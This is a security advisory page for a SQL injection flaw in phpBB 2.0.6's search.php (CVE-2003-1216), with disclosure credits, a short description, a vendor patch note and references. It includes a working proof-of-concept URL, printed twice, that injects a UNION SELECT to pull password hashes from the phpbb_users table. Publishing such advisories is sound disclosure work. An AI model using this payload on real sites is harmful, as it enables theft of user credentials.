phpBB search.php SQL Injection Vulnerability
BID:9122
Info
phpBB search.php SQL Injection Vulnerability
| Bugtraq ID: | 9122 |
| Class: | Input Validation Error |
| CVE: |
CVE-2003-1216 |
| Remote: | Yes |
| Local: | No |
| Published: | Nov 27 2003 12:00AM |
| Updated: | Jul 12 2009 12:56AM |
| Credit: | The disclosure of this issue has been credited to Niels Teusink <[email protected]>. Exploit code has been supplied by RusH security team <www.rsteam.ru>. This issue is also reported to have independently discovered by rick patel <[email protected]>. |
| Vulnerable: |
phpBB Group phpBB 2.0.6 |
| Not Vulnerable: | |
Discussion
phpBB search.php SQL Injection Vulnerability
It has been reported that phpBB may be prone to a SQL injection vulnerability that may allow an attacker to disclose sensitive information by supplying malicious SQL code to the underlying database.
phpBB version 2.06 has been prone to this issue, however other versions may be affected as well.
It has been reported that phpBB may be prone to a SQL injection vulnerability that may allow an attacker to disclose sensitive information by supplying malicious SQL code to the underlying database.
phpBB version 2.06 has been prone to this issue, however other versions may be affected as well.
Exploit / POC
phpBB search.php SQL Injection Vulnerability
The following proof of concept has been supplied by Hat-Squad Security Team:
http://www.example.com/search.php?search_id=1%20union%20select%20concat(char(97,58,55,58,123,115,58,49,52,58,34,115,101,97,114,99,104,95,114,101,115,117,108,116,115,34,59,115,58
,49,58,34,49,34,59,115,58,49,55,58,34,116,111,116,97,108,95,109,97,116,99,104,95,99,111,117,110,116,34,59,105,58,53,59,115,58,49,50,58,34,115,112,108,105,116,95,115,101,9
7,114,99,104,34,59,97,58,49,58,123,105,58,48,59,115,58,51,50,58,34),user_password,char(34,59,125,115,58,55,58,34,115,111,114,116,95,98,121,34,59,105,58,48,59,115,58,56,58
,34,115,111,114,116,95,100,105,114,34,59,115,58,52,58,34,68,69,83,67,34,59,115,58,49,50,58,34,115,104,111,119,95,114,101,115,117,108,116,115,34,59,115,58,54,58,34,116,111
,112,105,99,115,34,59,115,58,49,50,58,34,114,101,116,117,114,110,95,99,104,97,114,115,34,59,105,58,50,48,48,59,125))%20from%20phpbb_users%20where%20user_id=[enter uid]/*
The following exploit has been provided:
The following proof of concept has been supplied by Hat-Squad Security Team:
http://www.example.com/search.php?search_id=1%20union%20select%20concat(char(97,58,55,58,123,115,58,49,52,58,34,115,101,97,114,99,104,95,114,101,115,117,108,116,115,34,59,115,58
,49,58,34,49,34,59,115,58,49,55,58,34,116,111,116,97,108,95,109,97,116,99,104,95,99,111,117,110,116,34,59,105,58,53,59,115,58,49,50,58,34,115,112,108,105,116,95,115,101,9
7,114,99,104,34,59,97,58,49,58,123,105,58,48,59,115,58,51,50,58,34),user_password,char(34,59,125,115,58,55,58,34,115,111,114,116,95,98,121,34,59,105,58,48,59,115,58,56,58
,34,115,111,114,116,95,100,105,114,34,59,115,58,52,58,34,68,69,83,67,34,59,115,58,49,50,58,34,115,104,111,119,95,114,101,115,117,108,116,115,34,59,115,58,54,58,34,116,111
,112,105,99,115,34,59,115,58,49,50,58,34,114,101,116,117,114,110,95,99,104,97,114,115,34,59,105,58,50,48,48,59,125))%20from%20phpbb_users%20where%20user_id=[enter uid]/*
The following exploit has been provided:
Solution / Fix
phpBB search.php SQL Injection Vulnerability
Solution:
It has been reported that the vendor has patched version 2.06. Users are advised to download the fixed 2.06 version of the software.
Solution:
It has been reported that the vendor has patched version 2.06. Users are advised to download the fixed 2.06 version of the software.
References
phpBB search.php SQL Injection Vulnerability
References:
References:
- [Hat-Squad] phpBB search_id injection exploit (Hat-Squad Security Team
- phpBB 2.06 search.php SQL injection ([email protected])
- phpBB v2.06 search_id sql injection exploit (?koi8-r?Q?=22?=f3sy1 f3sy1=?koi8-r?Q?=22=20?=
- Re: phpBB 2.06 search.php SQL injection (Hat-Squad Security Team